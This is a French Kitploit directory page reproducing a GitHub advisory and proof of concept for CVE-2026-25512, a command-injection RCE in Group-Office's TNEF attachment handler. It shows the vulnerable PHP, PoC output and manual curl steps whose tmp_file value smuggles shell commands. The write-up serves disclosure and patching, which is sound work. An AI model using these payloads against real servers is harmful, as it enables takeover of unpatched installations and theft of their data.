Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25512 — RCE - Injection de commandes via le gestionnaire de pièces jointes TNEF | Kitploit
Outils/GitHubGitHub/numberoreo1/cve-2026-25512
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubnumberoreo1/cve-2026-25512

CVE-2026-25512

RCE - Injection de commandes via le gestionnaire de pièces jointes TNEF

Voir le dépôt
1il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25512 : Exécution de code à distance via injection de commande dans le gestionnaire TNEF - Group-Office

CVE-2026-25512 Critical CVSS 9.4

CWE-78

Vecteur CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Table des matières

  • Résumé
  • Versions affectées
  • Détails techniques
    • Cause racine
    • Flux de la source vers le sink
  • Exploitation
  • Exploit automatisé
  • Exploit manuel
  • Impact
  • Chronologie
  • Crédits
  • Références

  • Résumé

    Une vulnérabilité critique d'exécution de code à distance (RCE) a été identifiée dans Group-Office. Le point de terminaison email/message/tnefAttachmentFromTempFile concatène directement le paramètre contrôlé par l'utilisateur tmp_file dans un appel exec(). En injectant des métacaractères shell dans tmp_file, un attaquant authentifié peut exécuter des commandes système arbitraires sur le serveur.


    Versions affectées

    ProduitVersions affectées
    Group-Office≤ 26.0.4

    Détails techniques

    Cause racine

    Le paramètre tmp_file est extrait de la requête HTTP et utilisé pour construire une commande shell sans échappement ni validation. Cela entraîne une injection de commande dans la commande d'extraction tnef, qui s'exécute avec les privilèges du serveur web.

    Code vulnérable (www/modules/email/controller/MessageController.php):

    root@kitploit:~
    protected function actionTnefAttachmentFromTempFile(array $params)
    {
        $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
        $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);
    
        chdir($tmpFolder->path());
        exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
        if($retVar!=0)
            throw new \Exception("TNEF extraction failed: ".implode("\n", $output));
    
        exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
        if($retVar!=0)
            throw new \Exception("ZIP compression failed: ".implode("\n", $output));
    
        $zipFile = $tmpFolder->child('winmail.zip');
        \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
        $zipFile->output();
    
        $tmpFolder->delete();
    }
    

    Flux de la source vers le sink

    ÉtapeDescription
    SourceParamètre de requête tmp_file dans index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=...
    Propagationnew \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file'])
    Sinkexec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...)

    Étant donné que tmp_file est concaténé dans la commande shell, des métacaractères tels que ;, &, les backticks ou $() permettent à un attaquant d'ajouter des commandes arbitraires.

    Exigence d'authentification : Oui. MessageController applique une vérification CSRF security_token, donc une session valide et un jeton sont requis.


    Exploitation

    Exploit automatisé

    Le script PoC se connecte, récupère le security_token, injecte une charge utile via tmp_file, puis vérifie l'exécution en lisant rce.txt depuis la réponse ZIP.

    root@kitploit:~
    python3 poc.py
    

    Exemple de sortie :

    root@kitploit:~
    ➜  ~ python3 poc.py
    [*] Target: http://xx.xx.xxx.xxx:9090
    [*] Login status: 200
    [*] Login ok, security_token received
    [*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
    [*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
    [*] Response status: 200
    [+] RCE Confirmed
    [+] Command output (id):
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Exploit manuel

    Étape 1 : Connexion

    root@kitploit:~
    curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
        --data-urlencode "r=core/auth/login" \
        --data-urlencode "username=YOUR_USERNAME" \
        --data-urlencode "password=YOUR_PASSWORD" \
        -H "X-Requested-With: XMLHttpRequest"
    

    Réponse :

    root@kitploit:~
    {
      "success": true,
      "groupoffice_version": "26.0.4",
      "user_id": 2,
      "security_token": "XXXXXXX",
      "sid": "XXXXXXXXXXX"
    }
    

    Étape 2 : Déclencher la RCE

    root@kitploit:~
    curl -G "http://TARGET:PORT/index.php" \
        -b cookies.txt \
        --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
        --data-urlencode "security_token=YOUR_TOKEN" \
        --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
        -o command_output.zip
    

    Résultat :

    root@kitploit:~
    ➜  unzip command_output.zip
    Archive:  command_output.zip
      inflating: rce.txt
    
    ➜  cat rce.txt
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Impact

    CatégorieSévéritéDescription
    ConfidentialitéÉlevéeL'exécution arbitraire de commandes permet de lire des fichiers sensibles.
    IntégritéÉlevéeL'attaquant peut modifier ou supprimer des fichiers du serveur.
    DisponibilitéÉlevéeL'attaquant peut perturber les services ou supprimer des données critiques.

    Crédits

    • Découvert par : Oreo

    Références

    • Site officiel de Group-Office
    • MITRE CVE-2026-25512
    Télécharger l’outil